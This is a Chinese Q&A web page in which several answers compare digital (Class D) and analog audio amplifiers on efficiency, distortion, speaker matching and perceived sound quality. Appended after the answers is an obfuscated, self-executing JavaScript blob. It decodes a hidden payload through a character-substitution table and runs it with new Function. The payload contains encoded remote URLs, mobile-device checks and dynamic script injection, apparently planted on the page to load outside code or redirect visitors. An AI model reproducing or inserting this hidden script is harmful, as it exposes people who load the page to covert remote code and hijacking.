推荐回答(5个)
数字功放”的基本电路是早已存在的D类放大器(国内称丁类放大器)。以前,由于价格和技术上的原因,这种放大电路只是在实验室或高价位的测试仪器中应用。这几年的技术发展使数字功放的元件集成到一两块芯片中,价格也在不断下降。理论证明,D类放大器的效率可达到100%。然而,迄今还没有找到理想的开关元件,难免会产生一部分功率损耗,如果使用的器件不良,损耗就会更大些。但是不管怎样,它的放大效率还是达到90%以上。
由于功耗和体积的优势,数字功放首先在能源有限的汽车音响和要求较高的重低音有源音箱中得到应用。随着DVD家庭影院、迷你音响系统、机顶盒、个人电脑、LCD电视、平板显示器和移动电话等消费类产品日新月异的发展,尤其是SACD、DVDAudio等一些高采样频率的新音源规格的出现,以及音响系统从立体声到多声道环绕系统的进化,都加速了数字功放的发展。近年来,数字功放的价格呈不断下降的趋势,有关这方面的专利也层出不穷。
D类输出功率和消耗功率与AB类功率放大器消耗比例
采用低频音频信号调制一个固定高频频率的脉宽的一种放大器被人们称为D类放大器又有人称为数字音频放大器,他最大的特点是效率特别高(理论上可以达到100%,实际在85%以上),采用非常小的电子器件就可以制造出很大功率的音频放大器。
小功率,即1W-3W的功率放大器而言,在相同播放内容的状况下,AB类功率放大器与D类功率放大器的功率效率各约为AB=15%及D=75%。在播放1W 音乐的状况下,AB类功率放大器需要消耗6.7W的功率,但D类功率放大器在同样的播放条件下只消耗1.33W。因此,使用D类功率放大器可延长电池的使用时间达5倍(6.7W/1.33W)。低功率的使用除了手机,DVD、MP3及PMP之外还有一些流行产品如iPod、手机、及数字相框。 那么中功率的情况下,即10W-30W的功率放大器而言在相同播放内容以语音为主的状况下,AB类功率放大器与D类功率放大器的功率效率分别为AB= 25%及D=80%。在播放10W语音的状况下,AB类功率放大器需要损耗40W的功率,但D类功率放大器在同样的条件下播放只损耗12.5Watts。因此使用D类功率放大器可降低电源的成本将近3倍(40W/12.5W),而且D类功率放大器所产生的2.5W的热可由一般功率封装及PCB设计即可处理不必额外的散热器。在大功率输出的情况下,即100W-200W的D类数字功率放大器在汽车音响亦将占有一席之地,在此高功率之下D类功率放大器仍免不了使用散热片,但散热面积与散热量比AB类功率放大器所需的要小,由于高效率的原因,D类功率放大器可以在不启动汽车引擎的状况下有较长的使用时间而不消耗太多电瓶的电量,D类功率放大器成为现在汽车音响的主要应用产品。
电子制作网的老铎先生认为,由于D类数字音频放大器技术十分成熟,准备在一段时间内设计一些比较有代表的D类数字音频放大器电路和放大器专用的音响电源供大家学习和制作。
D类数字音频功率放大器的电源成本及散热成本优势
厂家在计算功率时并不以声音内容做标准,而延用传统的正弦波讯号当输入。如以正弦波讯号而言AB类功率放大器与D类功率放大器的功率效率各约为45%及 80%。如果以15W×2来计算D类功率放大器的总供应功率约为30W/80%=37.5W,AB类功率放大器的总供应功率约为30W/45%= 66.7W,所以使用D类功率放大器可节省将近30W的功率。由于功率放大器的电源由电源器件所提供,因此D类功率放大器的电源器件成本将大大降低。同时电源器件的散热器及功率放大器散热器的成本及电路版空间的成本都有很大的降低。
数字功放由于工作方式与传统模拟功放完全不同,因此克服了模拟功放固有的一些缺点,并且具备了一些独有的特点。
1. 过载能力与功率储备
数字功放电路的过载能力远远高于模拟功放。模拟功放电路分为A类、B类或AB类功率放大电路,正常工作时功放管工作在线性区;当过载后,功放管工作在饱和区,出现谐波失真,失真程度呈指数级增加,音质迅速变坏。而数字功放在功率放大时一直处于饱和区和截止区,只要功放管不损坏,失真度不会迅速增加,如图1所示。
图1 全数字功放与普通功放过载失真度比较
由于数字功放采用开关放大电路,效率极高,可达75%~90%(模拟功放效率仅为30%~50%),在工作时基本不发热。因此它没有模拟功放的静态电流消耗,所有能量几乎都是为音频输出而储备,加之前后无模拟放大、无负反馈的牵制,故具有更好的“动力”特性,瞬态响应好,“爆棚感”极强。
2. 交越失真和失配失真
模拟B类功放在过零失真,这是由于晶体管在小电流时的非线性特性而引起的在输出波形正负交叉处的失真(小信号时晶体管会工作在截止区,无电流通过,导致输出严重失真)。而数字功放只工作在开关状态,不会产生交越失真。
模拟功放存在推挽对管特性不一致而造成输出波形上下不对称的失配失真,因此在设计推挽放大电路时,对功放管的要求非常严格。而数字功放对开关管的配对无特殊要求,基本上不需要严格的挑选即可使用。
3. 功放和扬声器的匹配
由于模拟功放中的功放管内阻较大,所以在匹配不同阻值的扬声器时,模拟功放电路的工作状态会受到负载(扬声器)大小的影响。而数字功放内阻不超过0.2Ω(开关管的内阻加滤波器内阻),相对于负载(扬声器)的阻值(4~8Ω)完全可以忽略不计,因此不存在与扬声器的匹配问题。
4. 瞬态互调失真
模拟功放几乎全部采用负反馈电路,以保证其电声指标,在负反馈电路中,为了抑制寄生振荡,采用相位补偿电路,从而会产生瞬态互调失真。数字功放在功率转换上没有采用任何模拟放大反馈电路,从而避免了瞬态互调失真。
5. 声像定位
对模拟功放来说,输出信号和输入信号之间一般都存在着相位差,而且在输出功率不同时,相位失真亦不同。而数字功放采用数字信号放大,使输出信号与输入信号相位完全一致,相移为零,因此声像定位准确。
6. 升级换代
数字功放通过简单地更换开关放大模块即可获得大功率。大功率开关放大模块成本较低,在专业领域发展前景广阔。
7. 生产调试
模拟功放存在着各级工作点的调试问题,不利于大批量生产。而数字功放大部分为数字电路,一般不需调试即可正常工作,特别适合于大规模生产。
三、数字功放和“数字化”功放、“数码”功放的区别
所谓的“数字化”功放只是在前置级上采用数字信号处理的方式,在模拟音频信号或数字音频信号输入后,采用现有的数字音频处理集成电路,实现一些比如声场处理、数字延时、混响等功能,最后再通过模拟功率放大模块进行音频放大。其典型电路框图如图2所示。由图2可知,其各模块的接口都是采用模拟方式。而数字声场处理模块的大致原理框图如图3所示。
图2 数字化功放电路的组成框图 图3 数字声场处理模块原理框图
虽然目前各集成电路厂家都推出了数字声场处理、数字卡拉OK和数字杜比解码集成电路。但是由于目前功放大都只能接收模拟音频信号,所以各集成电路的接口也大多是模拟的,这就需要反复地进行模/数、数/模转换,由此会引入量化噪声,使音质恶化。
全数字功放除了针对扬声器的接口以外(这是因为目前扬声器都只能接受模拟音频信号),音频信号在功放内部都是以数字信号的方式进行处理(包括功率放大);对于模拟音频信号,必须转化成数字信号后才能进行处理。
数字功放取代模拟功放是趋势,数字功放有模拟功放无法比拟的优点,从理论上讲,如果能找到一个理想的开关元件,数字功放的效率可以做到100%。然而,迄今为止没有一家公司有这种理想开关元件。难免产生一小部分损耗。会因MOS 的RDS 不同而损耗会不一样。但是不管怎样,它的效率可以达到90%以上,这是模拟功放无法达到的。
数字功放由于工作方式与传统模拟功放完全不同,因此克服了模拟功放固有的一些缺点,并且具备了一些独有的特点。
1. 过载能力与功率储备
数字功放电路的过载能力远远高于模拟功放。模拟功放电路分为A类、B类或AB类功率放大电路,正常工作时功放管工作在线性区;当过载后,功放管工作在饱和区,出现谐波失真,失真程度呈指数级增加,音质迅速变坏。而数字功放在功率放大时一直处于饱和区和截止区,只要功放管不损坏,失真度不会迅速增加。
2. 交越失真和失配失真
模拟B类功放在过零失真,这是由于晶体管在小电流时的非线性特性而引起的在输出波形正负交叉处的失真。而数字功放只工作在开关状态,不会产生交越失真。
很简单的数字功放供电一般用的是开关电源,模拟功放用的是变压器。要是能拆开里面看的话模拟功放都是用大功率三极管输出散热器很大,而数字功放的则很小,重量也不一样!数字功放轻模拟功放重。
数字功放优点在效率高散热要求低,外围电路简单成本低等。缺点声音存在失真较大的问题!人声的还原度差。
模拟功放优点在比数字功放声音好,缺点成本高,散热要求高,重量大,电路结构复杂,维修难度高等。
我想你现在已经知道他原来的功放是什么功放了吧!!还有那个不是线圈是变压器。
哈哈!那就通俗点!数字功放省电对电源的要求低,而且不怎么发热所以散热器也小。但是声音上没模拟的好。
模拟虽然声音上胜过数字,但是效率低对电源要求高,而且散热器也想对要大,但是声音上优势很明显。再加上上面的你喜欢通俗也好什么都好这个都是一看就明白了。
数字功放的优点很多,耗电小、效率高、失真小、噪音低、转换速度快等等。看起来这些模拟功放的缺点都被数字功放克服了,但是数字功放实际听感没有模拟功放好。为什么呢?从喇叭说起,喇叭(扬声器)发展一百多年以来还是以纸盆往复震动来还原声音为主,虽然也有一些例如压电陶瓷类的喇叭但是大多功率很小频率高不是主流。正是因为喇叭的物理特性更适合模拟功放了推动才是最佳搭配,还要一点就是我们听音乐就是因为模拟功放的产生的一定失真和谐波才感觉好听(发烧友更喜欢玩速度慢一些谐波失真多一点的电子管功放的原因),而保真度更接近原声的数字功放就没有那么耐听了。
数字信号是由模拟信号经过量化后处理得到的,模数转换是为了便于存储和传输,最终还是要转成模拟信号还原声音,在数模转换的过程中肯定会有损失,所以数字永远也不会超过模拟的音质
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();